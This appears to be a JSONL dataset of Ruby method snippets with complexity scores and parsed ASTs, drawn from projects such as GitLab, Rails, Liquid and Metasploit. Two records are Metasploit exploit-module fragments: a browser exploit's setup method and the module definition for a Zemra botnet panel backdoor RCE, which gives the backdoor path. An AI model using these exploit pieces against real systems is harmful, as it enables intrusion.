i\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"increment_total_events_counter\"]}]}]}","id":"f8890eb5-a94a-49bf-95e7-f838014adc05"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/users/update_contract.rb","start_line":63,"raw_source":"def editing_themself?\n      user == model\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"editing_themself?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"model\"]}]}]}","id":"90b144b1-e036-4baa-8eac-7c45ecdb2c30"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/task_helpers/exports/custom_buttons.rb","start_line":42,"raw_source":"def direct_custom_buttons\n        CustomButton.select(\"custom_buttons.*, miq_set_memberships.miq_set_id\")\n                    .left_outer_joins(:miq_set_memberships)\n                    .where(:miq_set_memberships => {:miq_set_id => nil})\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"direct_custom_buttons\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomButton\"]},\"select\",{\"type\":\"str\",\"children\":[\"custom_buttons.*, miq_set_memberships.miq_set_id\"]}]},\"left_outer_joins\",{\"type\":\"sym\",\"children\":[\"miq_set_memberships\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"miq_set_memberships\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"miq_set_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}","id":"f41eb659-1943-415a-9dca-e67b3ac60955"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/devise-pbkdf2-encryptable/lib/devise/pbkdf2_encryptable/model.rb","start_line":29,"raw_source":"def password_stretches\n        split_encrypted_password[:stretches]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"password_stretches\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"split_encrypted_password\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stretches\"]}]}]}","id":"db5ccf6c-7c54-4535-985f-19b5dd20ba25"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb","start_line":100,"raw_source":"def exploit\n    @second_stage_url = \"#{get_module_resource}#{rand_text_alpha(10)}\".chomp\n    @leak_param = rand_text_alpha(5)\n\n    super\n  end","complexity_score":7.05,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@second_stage_url\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_module_resource\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[10]}]}]}]},\"chomp\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@leak_param\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"c802d934-8358-47fa-9d24-906ea798b29c"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/tags/statements_test.rb","start_line":106,"raw_source":"def test_not_nil\n    text = ' {% if var != nil %} true {% else %} false {% endif %} '\n    assert_template_result('  true  ', text, { 'var' => 1 })\n\n    text = ' {% if var != null %} true {% else %} false {% endif %} '\n    assert_template_result('  true  ', text, { 'var' => 1 })\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_not_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"str\",\"children\":[\" {% if var != nil %} true {% else %} false {% endif %} \"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"  true  \"]},{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"var\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"str\",\"children\":[\" {% if var != null %} true {% else %} false {% endif %} \"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"  true  \"]},{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"var\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"cb4c6483-cc1b-4be6-9d6e-f31f42e3ac7a"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/gateway.rb","start_line":87,"raw_source":"def valid_providers_list\n      Spree::PaymentMethod.providers.map(&:to_s)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_providers_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"PaymentMethod\"]},\"providers\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}","id":"43e0541f-cc3f-4b1b-b07b-71d25462bc7d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/concerns/looks_ahead.rb","start_line":50,"raw_source":"def nested_filtered_preloads(nodes, selected_root_fields)\n    return [] if nested_preloads.empty?\n\n    nested_preloads.each_with_object([]) do |(root_field, fields), result|\n      next unless selected_root_fields.include?(root_field)\n\n      selected_fields = nodes.selection(root_field).selections.map(&:name)\n\n      result << preloads_from_node_selection(selected_fields, fields)\n    end.flatten\n  end","complexity_score":25.5,"ast_json":"{\"type\":\"def\",\"children\":[\"nested_filtered_preloads\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nodes\"]},{\"type\":\"arg\",\"children\":[\"selected_root_fields\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nested_preloads\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nested_preloads\"]},\"each_with_object\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"root_field\"]},{\"type\":\"arg\",\"children\":[\"fields\"]}]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selected_root_fields\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"root_field\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"selected_fields\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nodes\"]},\"selection\",{\"type\":\"lvar\",\"children\":[\"root_field\"]}]},\"selections\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"preloads_from_node_selection\",{\"type\":\"lvar\",\"children\":[\"selected_fields\"]},{\"type\":\"lvar\",\"children\":[\"fields\"]}]}]}]}]},\"flatten\"]}]}]}","id":"1466f58e-20b0-4a59-b53d-5564f1c288a8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb","start_line":853,"raw_source":"def rename(column_name, new_column_name)\n        @base.rename_column(name, column_name, new_column_name)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rename\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_name\"]},{\"type\":\"arg\",\"children\":[\"new_column_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@base\"]},\"rename_column\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"lvar\",\"children\":[\"column_name\"]},{\"type\":\"lvar\",\"children\":[\"new_column_name\"]}]}]}","id":"1f5083ba-45d6-44ed-9a3e-8dba7f4e23aa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/admin/sidekiq_queues/delete_jobs.rb","start_line":33,"raw_source":"def ready?(**args)\n          raise_resource_not_available_error! ADMIN_MESSAGE unless current_user&.admin?\n\n          super\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ready?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"admin?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise_resource_not_available_error!\",{\"type\":\"const\",\"children\":[null,\"ADMIN_MESSAGE\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"0cc36788-809e-431f-ab87-5fbd02df5871"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notification_service.rb","start_line":723,"raw_source":"def new_review(review)\n    recipients = NotificationRecipients::BuildService.build_new_review_recipients(review)\n    deliver_options = new_review_deliver_options(review)\n\n    recipients.each do |recipient|\n      mailer\n        .new_review_email(recipient.user.id, review.id)\n        .deliver_later(deliver_options)\n    end\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"new_review\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"review\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"recipients\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationRecipients\"]},\"BuildService\"]},\"build_new_review_recipients\",{\"type\":\"lvar\",\"children\":[\"review\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"deliver_options\",{\"type\":\"send\",\"children\":[null,\"new_review_deliver_options\",{\"type\":\"lvar\",\"children\":[\"review\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recipients\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recipient\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mailer\"]},\"new_review_email\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recipient\"]},\"user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"review\"]},\"id\"]}]},\"deliver_later\",{\"type\":\"lvar\",\"children\":[\"deliver_options\"]}]}]}]}]}","id":"db90d96a-178e-4531-9957-09890e6daff2"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/unit/i18n_unit_test.rb","start_line":12,"raw_source":"def test_simple_translate_string\n    assert_equal(\"less is more\", @i18n.translate(\"simple\"))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_simple_translate_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"less is more\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@i18n\"]},\"translate\",{\"type\":\"str\",\"children\":[\"simple\"]}]}]}]}","id":"bad2fc4d-413a-43d8-a375-8c510e85f057"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/web/helpers.rb","start_line":191,"raw_source":"def get_locale\n      strings(locale)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_locale\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"strings\",{\"type\":\"send\",\"children\":[null,\"locale\"]}]}]}","id":"28ea99f5-fa95-4843-9bcd-746675870ef3"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/report/attributes.rb","start_line":47,"raw_source":"def attributes_table_column_widths\n    # calculate fixed work package attribute table columns width\n    widths = [1.5, 2.0, 1.5, 2.0] # label | value | label | value\n    ratio = pdf.bounds.width / widths.sum\n    widths.map { |w| w * ratio }\n  end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"attributes_table_column_widths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"widths\",{\"type\":\"array\",\"children\":[{\"type\":\"float\",\"children\":[1.5]},{\"type\":\"float\",\"children\":[2.0]},{\"type\":\"float\",\"children\":[1.5]},{\"type\":\"float\",\"children\":[2.0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ratio\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"bounds\"]},\"width\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widths\"]},\"sum\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widths\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"ratio\"]}]}]}]}]}","id":"0d98dda9-3bae-4d05-a1b0-d025528fdfc6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/zemra_panel_rce.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Zemra Botnet CnC Web Panel Remote Code Execution',\n        'Description' => %q{\n          This module exploits the CnC web panel of Zemra Botnet which contains a backdoor\n          inside its leaked source code. Zemra is a crimeware bot that can be used to\n          conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Jay Turla <@shipcod3>', # Metasploit Module\n          'Angel Injection', # Initial Discovery (PoC from Inj3ct0r Team)\n          'Darren Martyn <@info_dox>' # Initial Discovery\n        ],\n        'References' => [\n          ['URL', 'http://0day.today/exploit/19259'],\n          ['URL', 'https://web.archive.org/web/20140207114942/http://insecurety.net/?p=144'], # leaked source code and backdoor intro\n          ['URL', 'http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot']\n        ],\n        'Privileged' => false,\n        'Payload' => {\n          'Space' => 10000,\n          'DisableNops' => true,\n          'Compat' =>\n                        {\n                          'PayloadType' => 'cmd'\n                        }\n        },\n        'Platform' => %w{unix win},\n        'Arch' => ARCH_CMD,\n        'Targets' => [\n          ['zemra panel / Unix', { 'Platform' => 'unix' } ],\n          ['zemra panel / Windows', { 'Platform' => 'win' } ]\n        ],\n        'DisclosureDate' => '2012-06-28',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, \"The path of the backdoor inside Zemra Botnet CnC Web Panel\", \"/Zemra/Panel/Zemra/system/command.php\"]),\n      ]\n    )\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Zemra Botnet CnC Web Panel Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits the CnC web panel of Zemra Botnet which contains a backdoor\\n\"]},{\"type\":\"str\",\"children\":[\"          inside its leaked source code. Zemra is a crimeware bot that can be used to\\n\"]},{\"type\":\"str\",\"children\":[\"          conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Jay Turla <@shipcod3>\"]},{\"type\":\"str\",\"children\":[\"Angel Injection\"]},{\"type\":\"str\",\"children\":[\"Darren Martyn <@info_dox>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://0day.today/exploit/19259\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://web.archive.org/web/20140207114942/http://insecurety.net/?p=144\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[10000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"zemra panel / Unix\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"zemra panel / Windows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-06-28\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path of the backdoor inside Zemra Botnet CnC Web Panel\"]},{\"type\":\"str\",\"children\":[\"/Zemra/Panel/Zemra/system/command.php\"]}]}]}]}]}]}]}","id":"0d733d52-e6b0-4b7b-b60e-56b3893dbe1b"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/parser.rb","start_line":326,"raw_source":"def plain(line, escape_html = nil)\n      if block_opened?\n        raise SyntaxError.new(Error.message(:illegal_nesting_plain), @next_line.index)\n      end\n\n      unless Util.contains_interpolation?(line.text)\n        return ParseNode.new(:plain, line.index + 1, :text => line.text)\n      end\n\n      escape_html = @options.escape_html && @options.mime_type != 'text/plain' if escape_html.nil?\n      line.text = Util.unescape_interpolation(line.text)\n      script(line, false).tap { |n| n.value[:escape_interpolation] = true if escape_html }\n    end","complexity_score":35.08,"ast_json":"{\"type\":\"def\",\"children\":[\"plain\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]},{\"type\":\"optarg\",\"children\":[\"escape_html\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_opened?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SyntaxError\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Error\"]},\"message\",{\"type\":\"sym\",\"children\":[\"illegal_nesting_plain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@next_line\"]},\"index\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Util\"]},\"contains_interpolation?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"text\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParseNode\"]},\"new\",{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"text\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escape_html\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"escape_html\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"escape_html\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"mime_type\"]},\"!=\",{\"type\":\"str\",\"children\":[\"text/plain\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"text=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Util\"]},\"unescape_interpolation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"text\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"script\",{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"false\",\"children\":[]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escape_html\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"value\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"escape_interpolation\"]},{\"type\":\"true\",\"children\":[]}]},null]}]}]}]}","id":"758b0793-aa34-42b6-bc95-7d2d969cac03"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/test_helper.rb","start_line":49,"raw_source":"def assert_match_syntax_error(match, template, error_mode: nil)\n      exception = assert_raises(Liquid::SyntaxError) do\n        Template.parse(template, line_numbers: true, error_mode: error_mode&.to_sym).render\n      end\n      assert_match(match, exception.message)\n    end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_match_syntax_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]},{\"type\":\"arg\",\"children\":[\"template\"]},{\"type\":\"kwoptarg\",\"children\":[\"error_mode\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"SyntaxError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line_numbers\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_mode\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_mode\"]},\"to_sym\"]}]}]}]},\"render\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"lvar\",\"children\":[\"match\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"message\"]}]}]}]}","id":"c46ce06f-506d-49f1-8df5-56f7e9ac64eb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/issuables/group_members_filterable.rb","start_line":43,"raw_source":"def username_param_is_a_group_handle?(username_param)\n      return false if username_param.empty?\n\n      # Only recognize group handle parameter when there is a single username\n      # and the username is a group handle. It prevents expensive queries\n      # if an user specify multiple groups with 100 members.\n      return false if username_param.length > 1\n\n      Group.reference_pattern.match?(username_param.first)\n    end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"username_param_is_a_group_handle?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username_param\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username_param\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username_param\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"reference_pattern\"]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username_param\"]},\"first\"]}]}]}]}","id":"c225b381-86b7-4ef1-846c-c60fc87bdb80"}
